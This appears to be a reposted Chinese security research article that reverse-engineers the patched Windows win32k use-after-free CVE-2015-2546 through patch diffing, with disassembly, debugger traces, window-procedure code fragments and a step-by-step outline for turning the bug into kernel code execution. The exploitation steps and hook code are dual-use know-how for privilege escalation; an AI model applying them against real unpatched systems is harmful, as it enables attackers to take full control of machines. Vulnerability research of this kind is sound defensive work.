<span id="7ztzv"></span>
<sub id="7ztzv"></sub>


<span id="7ztzv"></span><form id="7ztzv"></form>


<span id="7ztzv"></span>
    

      

        <address id="7ztzv"></address>
            
				
            原文地址:http://drops.wooyun.org/papers/9276
            
				
      
            
        
            本月微軟安全公告MS15-097修復了Microsoft Graphics組件中多個內核漏洞。其中Win32k內存損壞特權提升漏洞：CVE-2015-2546（https://technet.microsoft.com/zh-CN/library/security/ms15-097.aspx）引起了筆者的注意。該漏洞是FireEye在9月8日發布的一份攻擊報告（https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf）中發現的，攻擊者利用該漏洞可獲得系統SYSTEM權限。
            


            查看微軟公告對該漏洞的描述：“如果 Windows 內核模式驅動程序不正確地處理內存中的對象，則 Windows 中存在多個特權提升漏洞。成功利用這些漏洞的攻擊者可以在內核模式下運行任意代碼。”沒有太多有效信息，筆者遂嘗試通過補丁比對來還原這個漏洞的細節。
            


            CVE-2015-2546影響從win7 ~win10的眾多windows版本。鑒于win7上win32k的符號比較齊全，筆者選擇安裝win7 sp1 32位系統的補丁進行比對。
            


            PatchDiff2得到的結果：
            




            


            分析到xxxMNMouseMove函數所做的更改：
            


            


            補丁代碼很直觀，在xxxSendMessage調用完成之后多了一處檢查。
            


            研究過win32k內部機制可知：對于MenuWindow，tagWND+0xB0處存放的是其pPopupMenu的指針。因此這幾句是檢查回調之后tagMENUWND-> pPopupMenu是否被修改。
            


            FireEye的報告中明確提到：CVE-2015-2546是一個tagPOPUPMENU對象的UAF。至此，筆者確定該漏洞的缺陷函數就是xxxMNMouseMove。
            


            進一步分析xxxMNHideNextHierarchy函數之后，筆者得出整個漏洞的觸發流程：在xxxMNMouseMove函數中，xxxSendMessage(pwnd, 0x1F0,…)發起了一次用戶模式回調。在這次回調中，攻擊者可以銷毀Menu窗口從而釋放tagPOPUPMENU對象并占位重用。當回調返回內核之后，補丁前的xxxMNmouseMove并沒有對已釋放的pPopupMenu進行驗證。之后pPopupMenu被傳入xxxMNHideNextHierarchy，xxxMNHideNextHierarchy會對tagPOPUPMENU.spwndNextPopup發送消息：
            


            .text:BF91C0AA __stdcall xxxMNHideNextHierarchy(x) proc near
.text:BF91C0AA ; CODE XREF: xxxMNButtonDown(x,x,x,x)+62p
.text:BF91C0AA ; xxxMNMouseMove(x,x,x)+18Ep
.text:BF91C0AA
.text:BF91C0AA ptl = dword ptr -0Ch
.text:BF91C0AA var_8 = dword ptr -8
.text:BF91C0AA pPopupMenu = dword ptr 8
.text:BF91C0AA
.text:BF91C0AA mov edi, edi
.text:BF91C0AC push ebp
.text:BF91C0AD mov ebp, esp
.text:BF91C0AF mov ecx, [ebp+pPopupMenu]
.text:BF91C0B2 sub esp, 0Ch
.text:BF91C0B5 push esi
.text:BF91C0B6 mov esi, [ecx+tagPOPUPMENU.spwndNextPopup]
.text:BF91C0B9 test esi, esi
.text:BF91C0BB jz short loc_BF91C104
.text:BF91C0BD mov eax, _gptiCurrent
.text:BF91C0C2 add eax, 0B4h ; pTL
.text:BF91C0C7 mov edx, [eax]
.text:BF91C0C9 mov [ebp+ptl], edx
.text:BF91C0CC lea edx, [ebp+ptl]
.text:BF91C0CF mov [eax], edx
.text:BF91C0D1 mov [ebp+var_8], esi
.text:BF91C0D4 inc [esi+tagWND.head.cLockObj]
.text:BF91C0D7 cmp esi, [ecx+tagPOPUPMENU.spwndActivePopup]
.text:BF91C0DA jz short loc_BF91C0EB
.text:BF91C0DC push 0 ; NumberOfBytes
.text:BF91C0DE push 0 ; MbString
.text:BF91C0E0 push 1E4h ; int
.text:BF91C0E5 push esi ; tagPOPUPMENU.spwndNextPopup
.text:BF91C0E6 call xxxSendMessage(x,x,x,x)

            


            攻擊者創建合適的對象占用被釋放的tagPOPUPMENU內存，構造好tagPOPUPMENU.spwndNextPopup的數據，即可達成內核任意代碼執行。
            


            隨后，筆者嘗試構造POC來實現上述過程。
            


            xxxMNMouseMove函數的工作原理：在PopupMenu的消息循環中，內核在消息隊列中取到了WM_NCMOUSEMOVE消息；或者xxxMenuWindowProc收到了MN_MOUSEMOVE消息，win32k都會調用xxxMNMouseMove函數來進行處理。
            


            因此
            


            xxxTrackPopupMenuEx->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove
xxxMenuWindowProc->xxxRealMenuWindowProc->xxxMNMouseMove
xxxSysComman->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove
//…

            


            等都是有可能的
            


            該選擇哪條路徑呢？ba e1 win32k!xxxMNMouseMove探索一番
            


            在桌面彈出右鍵菜單的時候：
            


            0: kd> kb
ChildEBP RetAddr Args to Child
8d10ea8c 9036bbdb fe6c08e8 904557e0 0092002f win32k!xxxMNMouseMove
8d10eae8 9036b7b1 8d10eb08 904557e0 fe6c08e8 win32k!xxxHandleMenuMessages+0x2f2
8d10eb34 90371717 fe6c08e8 904557e0 00000000 win32k!xxxMNLoop+0x2fa
8d10eba0 90371802 fea19660 00000102 0000002f win32k!xxxTrackPopupMenuEx+0x5fd
8d10ec14 8288d1ea 001a01d3 00000102 0000002f win32k!NtUserTrackPopupMenuEx+0xc3
8d10ec14 76e370b4 001a01d3 00000102 0000002f nt!KiFastCallEntry+0x12a
0024e3ac 760e483e 760d2243 001a01d3 00000102 ntdll!KiFastSystemCallRet
0024e3b0 760d2243 001a01d3 00000102 0000002f USER32!NtUserTrackPopupMenuEx+0xc
0024e3d0 756272c9 001a01d3 00000102 0000002f USER32!TrackPopupMenu+0x1b

            


            點擊win32k窗口程序菜單：
            


            0: kd> kb
ChildEBP RetAddr Args to Child
92e2fa50 90dabbdb 90e95860 90e957e0 00e900de win32k!xxxMNMouseMove
92e2faac 90dab7b1 92e2facc 90e957e0 90e95860 win32k!xxxHandleMenuMessages+0x2f2
92e2faf8 90dbdd69 90e95860 90e957e0 00e900de win32k!xxxMNLoop+0x2fa
92e2fb28 90d1fcc5 fea0f2b0 0000f095 00e900de win32k!xxxSysCommand+0x4a5
92e2fba4 90d2d417 fea0f2b0 00000112 0000f095 win32k!xxxRealDefWindowProc+0xc00
92e2fbbc 90cf8117 fea0f2b0 00000112 0000f095 win32k!xxxWrapRealDefWindowProc+0x2b
92e2fbd8 90d2d2d3 fea0f2b0 00000112 0000f095 win32k!NtUserfnDWORD+0x27
92e2fc10 828551ea 00030152 00000112 0000f095 win32k!NtUserMessageCall+0xcf

            


            看來執行到xxxMNMouseMove并不困難，但是筆者發現要執行到xxxSendMessage(pWnd, 0x1F0)就不容易了:
            


            


            仔細分析xxxMNMouseMove函數代碼
            


            .text:BF93CDC6 loc_BF93CDC6: ; CODE XREF: xxxMNMouseMove(x,x,x)+12Dj
.text:BF93CDC6 ; xxxMNMouseMove(x,x,x)+135j …
.text:BF93CDC6 xor edi, edi
.text:BF93CDC8 push edi ; NumberOfBytes
.text:BF93CDC9 push [ebp+pPopupMenu] ; MbString
.text:BF93CDCC push 1E5h ; int
.text:BF93CDD1 push esi ; Address
.text:BF93CDD2 call xxxSendMessage(x,x,x,x)
.text:BF93CDD7 test al, 10h
.text:BF93CDD9 jz short loc_BF93CE32
.text:BF93CDDB test al, 3
.text:BF93CDDD jnz short loc_BF93CE32
.text:BF93CDDF push edi ; NumberOfBytes
.text:BF93CDE0 push edi ; MbString
.text:BF93CDE1 push MN_SETTIMERTOOPENHIERARCHY ; int
.text:BF93CDE6 push esi ; spwndPopupMenu
.text:BF93CDE7 call xxxSendMessage(x,x,x,x) ; CallBack
.text:BF93CDEC test eax, eax
.text:BF93CDEE jnz short loc_BF93CE32
.text:BF93CDF0 push ebx ; fake_tagPopupMenu
.text:BF93CDF1 call xxxMNHideNextHierarchy(x) ; Trigger

            


            esi必須是一個窗口對象，而ebx必須是我們可以占位重用的PopupMenu
            


            先看ebx的值從哪兒來：
            


            .text:BF93CD67 mov eax, _gptiCurrent
.text:BF93CD6C add eax, 0B4h
.text:BF93CD71 mov ecx, [eax]
.text:BF93CD73 mov [ebp+var_C], ecx
.text:BF93CD76 lea ecx, [ebp+var_C]
.text:BF93CD79 mov [eax], ecx
.text:BF93CD7B mov [ebp+var_8], esi
.text:BF93CD7E inc dword ptr [esi+4]
.text:BF93CD81 mov edi, [edi+4]
.text:BF93CD84 mov ebx, [ebx+0B0h] //sizeof(tagWND) = 0xac
.text:BF93CD8A test edi, 100h
.text:BF93CD90 jz short loc_BF93CDC6

            


            0xB0剛好等于sizeof(tagWND) + 0x4，而ebx又是一個tagPOPUPMENU對象，那么在BF93CD84這句之前，ebx必須是一個MenuWnd!
            


            再向前查看代碼：
            


            .text:BF93CD49 push esi
.text:BF93CD4A call safe_cast_fnid_to_PMENUWND(x)
.text:BF93CD4F push esi
.text:BF93CD50 mov ebx, eax
.text:BF93CD52 call IsWindowBeingDestroyed(x)
.text:BF93CD57 test eax, eax
.text:BF93CD59 jnz loc_BF93CE41
.text:BF93CD5F test ebx, ebx ; tagMENUWND
.text:BF93CD61 jz loc_BF93CE41

            


            IsWindowBeingDestroyed只是檢查esi指向的pWnd狀態，ebx的值來自于safe_cast_fnid_to_PMENUWND。
            


            查看safe_cast_fnid_to_PMENUWND函數，只是檢查pWnd->fnid，合適就將傳入的pWnd指針原封返回。
            


            繼續追蹤esi的來源，終于發現esi指向的窗口對象來自這里：
            


            .text:BF93CCA1 push esi
.text:BF93CCA2 mov [edi+0Ch], eax
.text:BF93CCA5 push ecx ; screenPt
.text:BF93CCA6 lea eax, [ebp+pPopupMenu]
.text:BF93CCA9 push eax ; pIndex
.text:BF93CCAA push ebx ; pPopupMenu
.text:BF93CCAB call xxxMNFindWindowFromPoint(x,x,x) //得到MenuWnd指針
.text:BF93CCB0 mov esi, eax
.text:BF93CCB2 push esi
.text:BF93CCB3 call IsMFMWFPWindow(x)

            


            然而筆者多次調試，發現這一步得到的返回值總是NULL：
            


            


            1: kd> p
win32k!xxxMNMouseMove+0x4d:
90dabfc7 8bf0 mov esi,eax
1: kd> r eax
eax=00000000

            


            冷靜分析xxxMNFindWindowFromPoint函數，該函數實際上是根據當前鼠標的位置返回其指向的菜單窗口。然而，如果傳入的pPopupMenu->fIsMenuBar為1，該函數返回的只能是0或0xFFFFFFFB，0xFFFFFFFF幾個固定值。
            


            查看一下我們傳入的pPopupMenu:
            


            1: kd> dt tagPOPUPMENU 90e95860
win32k!tagPOPUPMENU
+0x000 fIsMenuBar : 0y1
+0x000 fHasMenuBar : 0y1
+0x000 fIsSysMenu : 0y0
//…
+0x000 flockDelayedFree : 0y0
+0x004 spwndNotify : 0xfea0f2b0 tagWND
+0x008 spwndPopupMenu : 0xfea0f2b0 tagWND

            


            這里的tagPOPUPMENU對象一直是內核自動創建的，fIsMenuBar這個字段初始化時就被置為1。
            


            不過筆者發現如果pPopupMenu->spwndNextPopup不為NULL，xxxMNFindWindowFromPoint會向這個窗口發送MN_FINDMENUWINDOWFROMPOINT消息：
            


            .text:BF93CE9E push eax ; NumberOfBytes
.text:BF93CE9F lea eax, [ebp+pPopupMenu]
.text:BF93CEA2 push eax ; MbString
.text:BF93CEA3 push MN_FINDMENUWINDOWFROMPOINT ; int
.text:BF93CEA8 push dword ptr [edi+0Ch] ; Address
.text:BF93CEAB call xxxSendMessage(x,x,x,x)

            


            于是筆者想到可以通過消息鉤子來控制這一步的返回值！
            


            筆者編譯了一個包含兩級菜單的文檔視圖窗口程序，并且在消息鉤子函數中替換了菜單窗口的默認WndProc：
            


            LRESULT CALLBACK MyWndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if (Msg == 0x1EB)
{
// __asm int 3;
return (LONG)g_hMenuWnd;
}
return DefWindowProc(hWnd, Msg, wParam, lParam);
}

            


            這樣xxxMNFindWindowFromPoint返回的就是我們事先創建的MenuWindow對象了。
            


            1: kd> g
Breakpoint 1 hit
win32k!xxxMNMouseMove+0x48:
90dabfc2 e8a8010000 call win32k!xxxMNFindWindowFromPoint (90dac16f)
1: kd> r eax
eax=fe40f788 //pWnd    

1: kd> dd fe40f788 + b0 l1
fe40f838 fe3e3588 //tagPOPUPMENU    

1: kd> dt fe3e3588 tagPOPUPMENU
win32k!tagPOPUPMENU
+0x000 fIsMenuBar : 0y0
+0x000 fHasMenuBar : 0y0
+0x000 fIsSysMenu : 0y0
//…
+0x004 spwndNotify : (null)
+0x008 spwndPopupMenu : 0xfe40f788 指向PopupMenu所屬的tagWND對象
+0x00c spwndNextPopup : (null)
+0x010 spwndPrevPopup : (null)

            


            后面執行到
            


            


            這里xxxSendMessage(pWnd, 0x1E5, …)的返回值還得控制一下，否則一直返回0。
            


            在MenuWindow的窗口函數中處理0x1E5消息：
            


            if (Msg == 0x1E5) //MN_SELECTITEM
{
//控制返回值
return 0x10;
}

            


            終于能執行到xxxMNHideNextHierarchy了：
            


            


            最后，筆者還原出CVE-2015-2546的利用過程如下：
            


              

            1. 創建一個有彈出式菜單的正常主窗口
              2. 

            2. 在某個固定地址Addr1分配內存，并在Addr1上構造一個fake_tag WND。其中fake_tagWND->bServerSideWindowProc置為1，fake_tagWND->lpfnWndProc指向Ring0ShellCode。
              3. 

            3. 用Accelerator Table對象制作出內存空洞。
              4. 

            4. 創建類名為”#32768”的窗口MenuWindow1，并用SetWindowLong替換其WndProc。
              5. 

            5. 創建消息鉤子，并在HookProc中處理MN_FINDWINDOWFROMPOINT消息和MN_SETTIMERTOOPENHIERARCHY消息。
              6. 

            6. 向主窗口發送WM_SYSCOMMAND消息或者模擬鼠標事件。
              7. 

            7. 系統創建的正常菜單窗口收到MN_FINDWINDOWFROMPOINT消息，返回MenuWindow1的句柄。
              8. 

            8. HookProc收到MN_SETTIMERTOOPENHIERARCHY消息，銷毀MenuWindow1，并創建Accelerator Table對象占用tagPOPUPMENU釋放的內存。
              9. 

            9. Fake_tagWND收到0x1E4消息，執行Ring0ShellCode。
              10. 

            


            觸發提權ShellCode：
            


            


            利用成功截圖
            


            


            PS:其實這個漏洞并不一定非得用Accelerator Table占位，有更好的對象適合用來控制占位數據。攻擊者使用Accelerator Table反而導致需要分配零頁內存：最終執行到xxxSendMessageTimeOut時，fakePopupMenu->spwndNextPopup正是占位的tagACCELTABLE.cAccel的值。如果選擇其他對象進行占位，完全可以在更高平臺利用這個漏洞。
                  
            
    
			

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>
            

            <span id="7ztzv"></span><form id="7ztzv"></form>
            

            <span id="7ztzv"></span>
              

                

                  <address id="7ztzv"></address>
                      

亚洲欧美在线